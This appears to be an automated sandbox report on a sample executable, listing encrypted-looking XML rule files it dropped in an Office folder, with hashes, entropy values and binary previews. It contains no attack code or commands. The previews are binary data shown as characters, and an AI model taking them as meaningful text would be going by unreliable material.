SHA-256:	412687A6B2B8ABF33B1679519F04500464F76EF369DF74C2EC56417DCAA46D96
SHA-512:	611D0EE9A2164840E530BB43FAEA5AA229E601905F4D58A52EEE13694B5B2ABABA7B591B207EA8891AC5CCCB4EEB9422F288C01FAE9CD0ADE09BF4032292B311
Malicious:	false
Preview:	<?xml...L..Js.y......~....h".....+ZL.....=...(.4..>\|,2..hl..)#k.ap.b.b..g...ik....)..X.Qd...a9..'.Q.0.f.@.p.OL...T1..}\.8v...A6$.JkM.1IuA..N\|.].V..V.\|......b.....s...J?L..O.bX...:..=....T.$..z...[1....K..X.....C...MM.....Rf22=. ..@..u`....G.G..n.6....$)...2.[G...b..\|.l.u.,W.,.l..L1.AV:.`.B.#...uWQJ......u.cP.P..tb..A.........u.p.<...Vt....+a..T.g.bY..p'.....$7...Y@Ea..=(.;2s..`......Ti..j.g89v...~......hr.......m.^<........]c..{.L.%.f.@O(.x....S.:..7.......b.....aej....H,.g4....eD.o....a.....ND...t........O..]U(...X.~.....$.Q#p5)..{.._...N..T6.S...Q.9.n.q.._9.%..W.=CM...^..2\|..o.W.k.0........E.......d[Ek.<.k..O../.8........[.....7....5.:...bb^1ya.....d.KP..4R......:.zv..j.........1bTIn.+^>......Ivt.._D..4.{n:~.......Jm-8?w.g@.Fn=..\.m...(Z.zE........W...rp.......Y.X8.S...@.`...g....#.pWk#.~...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170110v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.832385843821113
Encrypted:	false
SSDEEP:	24:QXmz9fzUpGUTyoCbtUBLhtJzPGodIXvZZFzNsJG46pYPQ9pbD:QsfziTCbtSJzPG2I/Z5sR4JD
MD5:	6FAF035C4F43E2488C724C83510B3FE8
SHA1:	82F57C6AFEAABD64F8F52F6926512F43B3B0F0D5
SHA-256:	9DD29FB7BC200C4FADB666053D31A424B698DB178ADA1D5F41B72D9425584113
SHA-512:	EE9EC74BD17364F8DA7463FA1A360553B03C55F5156B15AD247B27F0C21E89310E641CDB0F8343D15191016407D4DB10C0CF9A3648C336754AFF1356B0B7858E
Malicious:	false
Preview:	<?xml-E.....^.....R.(......`.F...`..>(...7e....7!#..{.;.....l....@D............_y..\.3..._...A.........;.g{.....B..h....o.n.N.E.....K......wsb..ONs.ON...;.l,.m.%..v..Cw.d.~..9Lq....}..."n.#.N...E.T\.]W"+<...&C.'.4t}CK....E..9.....6...R...~....j...z=.hU.......;%..(9.%q..j...a.....m.0\|..t.d.7uE.y....0ZI0+..+..R-...}.(2-.p.&..h.].#D4..'...K.}..].R.s5@........ii..`.&..."o.[...W.F..3.gW.......O&..$@Ucis`....K...tu...^N;#.bL=.....[..W...K.v=Fl._..4m.Jq.UAj........kH...,%%......}9}....._..A..S.8..65.2..C-..Ks..K............&.].40..m.....w]j.:F..I.i[.1s..~.Y.H.[....3..#'.."N.>..\|..$l.c..R..+...`.8...hi.A.Ni............m.c..S..gH!F....~.......s.(...L...&.m..7)..U4..d..v.......1]...y!v...E..lf}MB.~...hX..\|.............(...m.....bv`r.3 .X....D..g..6...M.5...8.j,.R....V..W....r...Q#...K........y...1..h..#..n.....xRE.{ ...$b}.b...[.. e.<.w.........wu!)$.p-.c0.>@.^.j..c...y...}&j.%G^.o.v..B`M..._2..H.......dl........F..;.h...t.o.j&.+.a88.@B.q.p.w:\|C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170111v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.779415448849284
Encrypted:	false
SSDEEP:	24:4Rf67elguZGYgrzE4oboIBI28vVlAvtN8eC6tpGmc+9pbD:if62GfzE1oICBrAkEJD
MD5:	0A8F589FD8D6C21D88A2FE216894BAF0
SHA1:	95374FB068C9A966ADC38805C85917B66113155F
SHA-256:	4C2F2D15A5A0089404FFE314C527596E882751BD0F437F60922A976E7408D95B
SHA-512:	F160EE37E10A4ABD811DCF9F4DBC9EC45FDB59905819AB58D49AA1BCC91909A665BEF64EC33C7CFA5C8A9A395A50571B175C061EF316299EFE11DD177C598B2A
Malicious:	false
Preview:	<?xml.t...z..3.p.../2......K.\}....?..=....v.....u9\..^.b.Y..\=L..1.....w~f....<.8...1U...+O<..vc.>.C...V3`.\|G.......B...uzGt.7..=.Q...W..\..w.jO.2+.{Yt.%jc..h......6.+.-.l&..d.6.....'&k.l.X....c.\.\.........(...XI.A.R!.1.i.y............>..a..K.5.2..$}....F.$.......A....7.B.Lb.$....O_.U...74.:..O@...j....,-q.$...'..g..L..8...m&f$..?gP2....?qqA]F....2.H.Xbu.M....T.,..........(.g.H.)X..CP[.T.f.7u.s.[.hz(DLr.J.G.U.#.w.g..].....M.....Fx.y.9.6.Q.qn.......1..BG..=7.+.s2f.,.t.....%..V<l.q..0y...L\2..w+...+..=_..W.2"....`...7Z.W........Px.t.@...H...%n.g[..DX...vm.....<.F.EP.Wx......J).#..q.GE6..b`....J..I..9n.ln.S...t.t..H.$.,..c.q...,K.K...g.L.fG.I&MV....h..i.:_.TR..............$m...e......z.......hM..E6.L.\.R.^T........2..*...s...M._....T.....)h.z\..fg3Zf...}O.....uXv;.. ....q.....k....%...Wex.1.-.G....#J."c.b.Q.Y.........~.(...s.b..u.Z...&...._../\|!&........LT.eI.g.~.....z...zg..G#...hY`.Wx xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170112v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	943
Entropy (8bit):	7.761830845205985
Encrypted:	false
SSDEEP:	24:oAEVtr5rEWgEOGTRBOckRt5KpmFTZ9pbD:KVtrLgEOGDOeUFXJD
MD5:	4344AC3003F3DFFAB99F4905FEA83ED3
SHA1:	F86B3F4560DD8363D04E2DCADC01D89BC6EFE62B
SHA-256:	18E4A708874A9051A25D2375C033E72697CD7A64CBF6F836729E82188F58E11C
SHA-512:	26CC47CB3DFD1F198C54395F80E5C813F6BEF3211254DC594159818847D8DB386417B3EDF45C0BE41855E002E8F1C0075CA042B2626FC1E534941ED063A9E1DB
Malicious:	false
Preview:	<?xml.a.cb.....u.o..!.wiQ..\..Lc.....dJ=.k.-..Z.m.Y.Lv......?.~PT......rr.J.\...C....rz..z.4...F.>.~M;..v1.3UkW...j..G....E._..../....x.\;9.^}..$.?..^..8..+W2.b[.Q....y....IPq.h/...$..(.n..:.3G3... ....:..b'.8pK.......s#.....JB..3....Q.+Q?..x.I..H.......K.;....>...K.C.h...j6..~@.:;u..M....M.......(.d[..pj...P.+.2....5DO.:.h..4..;.....(...)..:...V...;.....j..].U....w.5.K.X.Ib..V..........Fo..V!..p...L.b.]ah54.(.n.9$.\.9G........\|,.j...n.f.\>TRd..L..{.....U...]...D.sePL&..{k.B...........(.Y.}....C.....^.}ek.].......Z.j.....cqJ...7..T:.....B..y.Ho.\|z.p..b....'A)..v......7-c......`A....D%]..-k.6.R..3.*.$o?.+G.d.LS.m...d,F.XY.8Gb.&.Qd.H.S..SD..}..@$../.T.=o.\.....K<..Q...c.p...S .... ]..d.FC....Y.&4.)..!5.R...Z ,`.m..,..mNp.K...c..;-.U\..i..hF9\|.j"..Q.../....G..Yh.......3P.E`.2........O.!.a....P.m.:]X]....5k..F...,.>xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170113v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.748445718115597
Encrypted:	false
SSDEEP:	24:YJiASeFr8DpgENdnVb14ehXr63v+hm9pbD:V29ENdRXrHSJD
MD5:	4A2A722113A7313F1FDEDC6E956D44E3
SHA1:	6A57418D4849FC592EB3D9A250DE7F72D289B32F
SHA-256:	38FF54FE7048BC18C1EBE7CBB27B0BAEA7BFAA740474D7D6E0A3CA99A4DC68BA
SHA-512:	8175A090D902D9EF036B5A19510CFF30FED79B58082C7D8DDF096B774E5D6994FA4690841EE245E525E114AE99A7A0DC75D0E67ED7217D82DBA0428D38D553C6
Malicious:	false
Preview:	<?xml{.....D..z....N....y.._.P..<.Z.Fdz.]n,9....`.!..W.....q.{L..a..nG...`l,].'9j.e.8.%Lu...\|...D......;....dQ..W.~.......xN...l...-.Tn"n.Nk^..0G-.B:..@....H..Y..II...g..%...L..L.....P0_i.......?...#4.EB..L....R...e...A.c...+...A#...[z...l...7p.9.......)...Q!$.!R4_M......?u....25........U.l3.....c.+...!.......s(v..U.t....M...}[..R........e..c...r..E..#{X.R....;y...Y...w20'...^[WM6u>...g.Y...+.9.)......}.._..v.$@.w.M4=5..ue..9.g.....\($~...l...Ok.x.~#f!8......UI.!.8..)Hz.7?.......P...HwT....r.fq.l^>J...c.....z.\..A.~..c.j...m...`.< ...Nw.... \...^.. ...q...$......+.9.>V....-.n..O.......b.i0j...Sc..-."j6K...}..;..Y..hv....y...F.j@.n.^3...e9....^v..3Z~..........R.s.6.@...A.</.j.......$.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170114v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1156
Entropy (8bit):	7.823877767370908
Encrypted:	false
SSDEEP:	24:JIKiQrRGphta4mJ9jXZQD1LjY1zwhfr7Y2mT5YdP9pbD:sna4mn6xRr7R/lJD
MD5:	610D3EC4043A00CE4AC48EE51D527629
SHA1:	C44DCB00AA360761537CBEDA522DC681CBE86745
SHA-256:	4B4D143DE001BA32D9B7897364A5377A9F5FB86BC378884CAF6D6F3E1247729E
SHA-512:	17B4EB72EE5E68AA7A9872785736D3C38303A0F2710BDEFB9F96B12402E634955637B1216E4E99FC54D5C8FA4235974F3E449D309C779A9818188910E36307A9
Malicious:	false
Preview:	<?xml.C.3b.....?..&0y...mv........3......hk.pW...q.Qi..y..;..hU0./xs.$2O..eL\|.z..(....G..?....8..v.S.]......W.m..\.<.V..<X.,...o^......t.....+\|.W.z{.a.T..&.9.r(D4._......#......K..x.d3..,.tC<.Et...>Q..T.h.........I...!.t.=G....5...x{.H...[S......?C~.:).[O(G_Sb&.^k.d..U{.=...\;.q..o...Ad.v.=..2.s.<}..v..F....8...>.J..b./G~....... ....!.....g......=[....JP..C.Z."&.Q@/{.q.S.l.as.(r....?.Q.`/!./.=........./>9..N/.z.@r.I..........]>....-..I.......1....Tx.....".F..'......L.:...i<..Y...r_.......=.s..\|.....N.........L....3.1...Xn!nqW..3.,.U..).:=mw..?.}.....v......`..K..5}...n.4.9....^..E.\|H..1{..aSB@.>....+.x.i.u..../2..b.&..F...;r..'o...G..$.o...Gcg..~.....,.%.vW_z..i.'QV.>.g.FAP.A1E.I...B0...^....^%j[....-........Eo'.?.....dh.g.)a.qS..J.g2. ....D...I....)...`...0.r...;.=...@..*.C3..=.]...:1t$.....%.3S%(....}....e.[E...a{.!9.........:.nZ.VB..V.._.F.\..z.O.P-...1o.....b....F.[94......)..........^3$.OPg.4K..A......jr.^.........9..C.yo.t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170115v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	927
Entropy (8bit):	7.752356227177625
Encrypted:	false
SSDEEP:	24:RPgJqX/ewEvnaBHOIJXqUyv0T+r0nT1qLG8hAXuW9Vs9pbD:RPg6ewanaBHvXyGnxOvAXuW9EJD
MD5:	9C34360E5A6FC121EE51AE40E71FAC78
SHA1:	3E3CC72156E7EA7C3C83248ECA2E4A9FA7243476
SHA-256:	B260802458EE384B02B9829AB952409C9983338F3619DB0ED8341C3534F2C131
SHA-512:	36D7E4DC626A91298E57C0C7C6BBAA5C672040A9A6ADB964F90694E857E9F5D3F87AD96B212990F7C9BF84C550B5C5C90AE16F7AAF554063D8580C52C29BFE25
Malicious:	false
Preview:	<?xml)..o.C8x...L....X...`..[Ri.S1.a.....4..\.Rt..G..E6\|..EWA.C.......kEC}3....a..7.6........O.j.7....V..,.}.IL...S.8.;......64..<X.......j...D.T.....(.!...c-.I.....E....x.L[%...t..z..1..g...x.......i..hb....T..\|.q.c^'q...Fh:B...6......n......,....;.a...$Z..r.N.a.....EIX..a%I.(=(../S...3.....fqM....Ws0.7Q.k.M.......Vv..&../.M...`R...1..."......J.}lv..h...+..`+.F.......{M....L).pT.Jcs....Hh.... .o..Gb`.q ..E.3U..y._~%..dd..lwT......:m(.=...S..~...I;...$..I....83.5......2+.L.m..tDCK5.....a.`{...N......0...a.S...B...HV...j7.. .K...V.'.......Pj.$..Q.=B..7v.\J...a.....].Xr.5..\|..u..f..3.g.0...+t.]..kT....QFv....cp..f.............y`.>*9...vV?...0........W..oB.o/.b>F..S.;x5S/.....Y../Ir..........N.4.n.oOQo...l..#..z...w...r.......)..oY....z+44+..7<.e...S...(.._..NAa4.4....S.l$.kL.....q@X...mxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170116v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	717
Entropy (8bit):	7.65004600410866
Encrypted:	false
SSDEEP:	12:w8QbAaARsM3ORnq0/M4hynJoQfjzRw0sKH/MiIwb4FmU3EL/YDQfY5LAME39M2cq:w8QbJI30nqyMgynTHRwdKH/MEL/ExM9h
MD5:	5151D2D64D17BF7C46BBFA88AF26D655
SHA1:	BEC26BD121A1E18FE66B30300407538BE82C7079
SHA-256:	5B9BF1FE1EAFD4CB9F2C8CC3A736F4E50491CA7C21E2B99FA776DF8FA9CD611B
SHA-512:	B106C64FE9E3E2FF55BDEA241031E96178F2C087EC0E3AAFA25EA90FC13C8C276DAF1A75A2E6E33DDBCE27F26249A58A91E7CCAA0BC58DBC932177125B10EEAB
Malicious:	false
Preview:	<?xml.....yu.^Q..N.....<?Q...p..G..yph..7l....&.....bw..1^.)s.QoZc._....pm.lj...?.q.w....x]n.gQ5:V......+.\...E........[..5T...._4{g...D..b..~K.b.A3nS...._`......C...ZH..>..C@c..A9...n.J.B....bB,.\|..?M.%...#...>=...lq.Hb`.}..1...?.4a....t.h.~j........V......2-......(rA.VW8^&.......H..]Z..Q...Ba..L.BW.v.P.dJ.7E..h...mHH..!..xJ-I..........`...f..7..7...."E?..5Ky_.....c..H.3 .../..j..Oow...C....L..._...}.....2.ctv].....2Yt.\18nk......g5ng.c...V.BP._.>.B..4..L....^2.x..4......WZc..?}....a.m.p.F...z~/......4.Z.C...!@.<./F.....H....$0...]..,..iX....6!/.....$K..q5.......K.Z..\..%Z.^b$.J........./.,....i..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170117v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	942
Entropy (8bit):	7.772363019694721
Encrypted:	false
SSDEEP:	24:uFk0vdbENkw57UrHDN7mQjj8bEFQmNreF/TnHWG9pbD:ujdQf5oHR7mQjwbOTNyxTnHTJD
MD5:	614193F78948363D871604BEA58B01CA
SHA1:	9003072C0BB02E7052E7AE277A6BEE8B252BE059
SHA-256:	882CAEE0F798ADCE8C5DD745574849810B967E7ED3397CD503E45EB1F343085F
SHA-512:	1D4AC7471BFED2FE15B8A5E033D3F39BF6D41CFD23BACED4B9310CD547F5DFEBB4B78EFFE4390118BD79BDDE10B06933E12853EBA4CD3CCC4F72B8C3D39B647D
Malicious:	false
Preview:	<?xml.Z..>...g.........3o..F...&..#I2^.w.O...J...>.....%.+.5...B.R....r....[z.@a..O..n@ .m....o1lg@...dc.L..j...94...ey.x.X.k2.q!.U.....1s......{D.8R.aj_.0\....~>.h.6.LW.6.[Y.h..R. .-..d...N$?b.......\|.......#._.I...I......+...3R.=?{1+"..G2n....rH.4....-........E.\|.]...Y.s..P@.......F..O.>..t>..5.h<1..B.."..N...pL.....N.;....q!..D...eE2.C\|..."J..<...0...@...b..vRSUX...(......s..KU.zS0uV.j}.m.(...)s......1^l./4...f...3.?@jp.}....i.L.&M,..{.PH...[.0.+.....\|..R..C6e...s.......&......E:........7...k.._.....I..[.......RI\.<>d...H.{x...s..S..=.z.._Z......%..Fas......&8....U.BTP1.....O\|.,..OS..9j.p2>..t.=#)..B.x}_r......4...x.1d...NKV..k.[i)qN.I3..l......1..,..l.Bi...K...H.K..h..Z"W...%....q.....&..m.%M...'...^..y@..Egk.!....".8.............w_'....RqD...-].k.~........2H..D.(.m.wk.=-4_D1[....`.-.(.`.Q?..nR.........LxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170118v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	949
Entropy (8bit):	7.751233535749686
Encrypted:	false
SSDEEP:	24:0AunPJVVeFT/wgYHVOWFTtj1jz+b8IipjVEmtHq1gmR+nb/r9pbD:0AAkT/wgEVO8pZj48IQjVEmAupJD
MD5:	4868AC826F0C8D54DB8E100B0BA85D4E
SHA1:	CEBC508A4FAB748C9C4B0A74C3CEB3B19211E9F2
SHA-256:	670987601A23D79D2BE2A4BD8A639D236AEDC83B9F7D61F163A305E9C939AC83
SHA-512:	C57C6D562C730AC8C015EC344AB1B78C3A9A544A8863B5C242CD6EA4DE11880760BF5DDA08440EBB771B7E08B227EE1BA9A6A44C1EAD4831285860F8A8A6B87E
Malicious:	false
Preview:	<?xml.e...2.5b...2.cTt..5,.z....%....'.........by..Q....h....)..tJ......5j! .Z..3........b..%.9i..&..#v.\..i.].R....W?.F....;..o.#..-.....+...An..B.........[.....].%huK.[_..+...~.f.....k)o..!..Z..k.t#.%=.4l.......p.7."...N...u....5].+..Y..xU..Z.."..U.n.........WFF`0....(..-7..8[Xx/.. ..ru+4....0..:..p.m....V+.Li..=.7.5_...Oo....\.....k..{x..V.N.BN...ht\|..;..I...e:....'..`,.=..e..]....K..p..9...k...n].O....c....-Y...R..e..G....>..{(f.CIO....~.PW.....S,[s.4.E.+W.'....0[.A.O5k....+i......4.G0...X]...o...O..%.x.-.s......n...`Gy....dyUL.X......\|.p.....(.rV...i5ur...........N.f...;B.W9.P9J%..!.2..'.7..+].u."!......_y-...6...)...\|.......{"4D....}...,i!I2.... a.....-...$.9...a..h....__.."R....j.g..e.$Y.Y.k$.~6......o6.+.][E.E.T..e..p.d.....R.X.9..)................,..43...-..!/N*0'H.....!.b..!..zFnR..wS..}..OG.N.0V.j.G.s.BxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170127v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	867
Entropy (8bit):	7.706745943706732
Encrypted:	false
SSDEEP:	24:oE4DC1Ca9rG31l7g7ScSJipifLVz5t9pbD:UPv3TSS1JioLXnJD
MD5:	5F83A666B9D4C8066C540B6A31FDD238
SHA1:	88639A2059FE17BF9800240339186DB74EA19971
SHA-256:	EE6A35E6A9C84C0ABB4B1B8E25645ECDD050E61BF1F98174B4345FDE8D86520D
SHA-512:	762499520B9AE2C16D1DF8E404E0F0BE5B450D3C1DC9B23904CA3F2BA4D14BAE81F0CBB044CEC98F3F75F4EA8E82F4F8EB9341B6B274600FAD70C4FD06F3EE38
Malicious:	false
Preview:	<?xml....%.....<...R...;...@...;..`e.Y.<.vr.0g[.s!v.......em.WY.?...9\|.,.c...\..9...-.N..yX...D.k.....{.....8/.{.e7....I .Ju......D.....i..GtS7......ei..NT..J.....".{..C^.......X....$...ue..._..&..h../....r.j.:. ....mq:..l..,.....M.....h...0........m..Mq3%u.c.Ob<....S.!.. Pn....^w.i.U#.2..o.....y.T[05.K......d....J5.g.."j.Rj.\...`......_.\.7..1.cM4..LBM..O;.c....S.>....:B....j2......se.su;...j./...iM....aO.0..X..l._.5M...j`3M.!.l.j..39..-.$...h...S..A.:.....\|.n#..../0 sS.^....e.......:.>(....6..a.vc".Y.h.y.CM..".Fd.%q.}...8\|{..^..-;...)...QXE1m..6...\|1...C.B>7......4:.r.c.Yf.....i..S..=>..#..-..>..d..K.......\|.........XC\. ..#C..by$.R....J%=9d.K..4......._.A...>...[.'......0...~....C...,...8....Ry.f.X....s..N........<...N....s.GXr.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170129v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	918
Entropy (8bit):	7.728686481572876
Encrypted:	false
SSDEEP:	24:9GbTlTbJLqUAqU6/14FoVDjBGbVMm1C9pbD:45bJLUlmLVDjBSVMm1EJD
MD5:	F77F668809ECBB8317ED6EDB778585AE
SHA1:	D345043FED615F9BCCA2D6F3BD9F66E968647456
SHA-256:	D0BD2284C42BF67987455ECAA05B8506A8BF43D8B913EA0B99D89CADFAE56538
SHA-512:	64D7A1152C12D5E647105CB170639F6DCEF27180BB2FE5186A40DC31B3CB45370D218702E18A6E27CA75914835DD6AB4F0D695B5A18D93C2FF13F34A6BCC46C1
Malicious:	false
Preview:	<?xml./.8).>T5.~...6Sx...a....`.J>!.='F.jgS5...;o.Z.9n.w.ad.o.f/.t&.V.#.:B........6....l....qGR...G.!<...W.^..X.\|G....{.\....ju..x.8S...........j.!n<.._...V:..G7....e...i#MaL.+u..:./....Gr/H..6.:6..@y.,...H1....... A.3.;..o.@...Q....l.u_>.0./(..V....E.d...K.u..T.n.....p.A..3+...9.......89h.U6...p...rYXE<U..2f.m....:>.u....!$.?....&.'j^N]R^.#:..g....q.+.T.T.X.Y..4....... p..<..X7l.....f0]y..../.......J...".h._%h...b....SQ..J9.......}...H.0.N...q..\\.gDi..H.{.>.>/..ax......5u.....].&X...............R#(...V.b.\|Z.z.3.T.j...+....,...d..*..W...+Q...t.j...".v.+.../`.Q"aC..`.Z.x.l.{.!0.?1..T..=8......q...i..J.....R...+..$...)ZRw\|.B.Y..I+...w.q.$%N=...1......M...1...h4...5.N..<.UX....x.....zY.....UK^;5ZR...DlB...r^....5]..FV..;.~J..,.00..0...%..H.j..rrw.l... .=m{u!X%;.IO..p\|2..?.f8.f.......)\.2A.f.._..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170130v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	898
Entropy (8bit):	7.7757242590697615
Encrypted:	false
SSDEEP:	24:tY10yEe7arGBQPHeUavgYs8eY2h/No9pbD:Y0yR7arjPHwgYsE2r+JD
MD5:	9D5361D32747E433E8838D11A1EC71AE
SHA1:	709862441932EE67A5F696AA870F1A166F142C00
SHA-256:	09F2AD34B8C27EC2D5AD89839CEF68B1C7ADCDA5CF2E8C64A19E60E8CA9E4757
SHA-512:	145E09EE5182DC491C8FCA4722463A549915FE9534F77E5BAABECE26CD7A8E73242714E60B089CD1645B38DFF8766C7AF874FC0675CEEBF4A9A7689DA43086F7
Malicious:	false
Preview:	<?xml.i....%.`....R].....2...lJ@J[;..=s.......)1........H....B.oL..S+........u..M..B..Nkr.....j.'-Q.C.J...&...k.6..QT....w.l..p..U#.<)6...89..\.:."....{.'..!.u.&.d..-.]..q.@..R/s!._#0..nY.......'.L....I...m.o....... ......{....E...5w..G..z.m..i.....6ce..X..<.[J!*%4/.v,...D..sl.".....h.&...x&s@....$0Ss.._..zJ{.g....iZ...9<....:3C.%.J..r.... .\|.l./n..$)..B.....J.;..x".....KHHtVS........)...H. 1_...u.._G.>q7.OiO.`W.O......h....R......e..q.(...KU\@.........p#.@..d.h.....y[.....]..g......W.g.]...(........!..J.iD#.%+.<X...!N..._..W.5.$J.!:.\|^._..z.\|9..z.(YC.....s{../>..6...P.8.z7.......h.....Q?...E...>...GM...U.z.W_fH..(c.43c$B..B.>(..>q..<.x^.'...I..l..M9.6..rvY.5...[...0$q...@....G5..j...`.o.A.w.....>.D$..v..^....&.W.=X....VU........m..ok..B.X\|g{..J.+.....n...8..'M/.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170133v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	798
Entropy (8bit):	7.7230456921801505
Encrypted:	false
SSDEEP:	12:G4UHK/hW7rLZLfZvFYuA5EsMnhYjM47g6XgIqwka1cR5q3bM4wq0z8jx2aUAkBsX:GJHGur+EJOMYFLSAbM4wqLx2aFIs9pbD
MD5:	7FF32FA03E4F7386762843F69311AA8C
SHA1:	2690185B59FAF0DF1D457114AB245D620B9B1925
SHA-256:	DDA5629725BD390772B173291DF3A02401FD3AB12A3D8B6275852AB47035A650
SHA-512:	08F9D817EF4CDACBAB5E474318693B6B2197B2D30C9910703CA1052CBF07B9B0633F639A9608684E9401A0FD1ACDC4DB65E9F4651F188DECF2F5653CCDE675C6
Malicious:	false
Preview:	<?xml...U.q...4.Iri.VC.. O.i.......,...T.....ad....W.......N.\|.[..../.&..p.O^.k...../.y7..?.9.!T.5.- [zj..Ct...M...........G;..g.)......(V.W...Y..h.M....3\.P.p.G.......nN...y6.@.8.D5.)...6..a...S....+.Y.cD..q.w..)L..I.m.\|.......f....{.q.H...3.`.C.3.in.,&.=[,.f..?w..94x,.!N../.1K..9......1l.1......Nn...MA5~*.s..W..Jw...cS~...[(j.}.......6.\oCI'...x...U.-.,..\.qH.....\|N./..f....._.E..zJ...nR.W..?...EMa."0D....nW..\|7.......%..].2..P..E%X.x.).o7..^..F1\.!p..........Y.D........\|.......?..8...Z..W.f1...C..H...J.~B.7.........o.K..eS.WZ..=.`K....K..~..~..jQ..M.4S..i6<...c>...;.....[.......9xp_.2Q..'..O..p@...."...O8.%..i..w..?.\|.:.1..R]....R2y@...~W..()....z..&...'%&;..!..>..!.\|..sxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170134v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	788
Entropy (8bit):	7.7201747033589605
Encrypted:	false
SSDEEP:	24:fWcYYmpaB9GDSOIwsVwlLOj6BsboH8ByuVs9pbD:lYYmpaB9GO3wewla2B7HuySCJD
MD5:	C8CB38729898796FE095F5F4E77ADB00
SHA1:	7788ECD6974047AAC46FA9346F173DDB00697A34
SHA-256:	6A9B610BCC14D0EB32658008924B07538E1B50941E2C9B55DE5BF8356A54BDF5
SHA-512:	D2555F7F7106625E9CAE067ABA6BB567FF9468304EA34E99034102B2765D19DCC5A333F248EB844ABBC5C3D84E4E34CE4D07431F97B71D1B7F55D5872E025615
Malicious:	false
Preview:	<?xml.NK..I..O^,~....a.3...".7og.&....5....='......i......f.-.\.Q\.m.&#...`..s.N.C.....r..]....W..hc..{.kG2..P....F{E......$..r...ui.d.3O$..<..v.R.#.......[sz...u...`.i.....Q....k...$r...%{.W6.I..7#..o#G(d^K...N.+zNdE...`!p2QY..AG.B.l..1A...fd:f..?..w...Ul...`B...@+.Rc..7."..J.h<.HV.z......\|.Nd_.c."#....rk{R.3.3S.....\HX...Gv.;..Lc.'.L......bki.d...[j..2........6^...&..~..m..-`s........Y...b..Px......5.az..3..pA.\|.....[.F.c....@.....Z.L....$A....F.QQ.i.W_..;.....R&...8.....X..=r.h.*.nx.Ld(p..>....EE.!..1=...."...k...{p.....v....(.;..........w..VI..)y......+#..n..Q..90..S.&M62..:.x..]..X....Gg...Xr?...R.,h..UXF...j.........\|.....6.]Y.D.9"8(m......8.....y..%.)P.YE...H...~..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170135v4.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
